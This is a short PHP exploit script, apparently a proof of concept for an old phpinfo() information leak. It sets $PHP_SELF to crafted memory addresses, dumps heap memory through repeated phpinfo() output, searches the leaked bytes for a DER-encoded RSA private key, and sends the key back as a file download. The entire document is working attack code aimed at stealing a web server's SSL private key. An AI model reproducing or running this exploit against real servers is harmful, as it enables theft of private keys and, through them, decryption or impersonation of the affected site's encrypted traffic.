<?php
/* depending on the starting position in the heap this will take a while */
set_time_limit(0);
/* set a starting position for the heap scan */
/* script will crash immediately if trying to access illegal memory */
$starthi = 0xb788;
if (isset($_GET['start'])) {
$starthi = $_GET['start'] + 0;
}
/* initialize some stuff */
$i = 0; $z = 0; $olddata = ""; $keydata = "";
/* Unfortunately PHP is problematic when it comes to 32bit
unsigned numbers - we have to fake it like this */
$PHP_SELF = ($starthi << 16) | $i;
while (true) {
$data = "";
while (strlen($data) < 4096) {
/* perform the infoleak */
ob_start();
@phpinfo(INFO_VARIABLES);
$var = ob_get_contents();
ob_get_clean();
/* extract the leaked data from output */
$r = preg_match("|PHP_SELF.</td><td class=\"v\">(.*).</td></tr>|mUs",$var,$match);
/* we need to handle the "no value" case */
$var = $match[1];
if ($var == "<i>no value</i>") $var = chr(0); else $var .= chr(0);
/* Ohhh and we need to decode the entities added by PHP */
$var = html_entity_decode($var,ENT_QUOTES,"ISO-8859-1");
/* Append leaked data to output */
$data .= $var;
$i += strlen($var);
/* $i will keep the lower 16 bits and $z the upper 16 bits */
if ($i > 0xffff) $z++;
$i = $i & 0xffff;
/* recalculate next address */
$PHP_SELF = ($starthi + $z)<<16 | $i;
}
/* we combine the data with the previous data to handle partial keys */
$check = $olddata . $data;
$olddata = $data;
$data = $check;
/* Now check if we have a key candidate */
$position = strpos($data, "\x30\x82");
if ($position !== false && $position < strlen($data)-1024) {
if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") {
$length = ord($data[$position+2])*256+ord($data[$position+3])+4;
$keydata = substr($data, $position, $length);
// Assume an exponent of 0x10001 to really find a RSA key and not a DSA one
if (strpos($keydata, "\x01\x00\x01") > 0)
break;
}
}
}
if (strlen($keydata) == 0) {
header("Content-type: text/plain");
die ("Unexpected error!!!");
}
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"server_ssl_rsa_privatekey.der\"");
echo $keydata;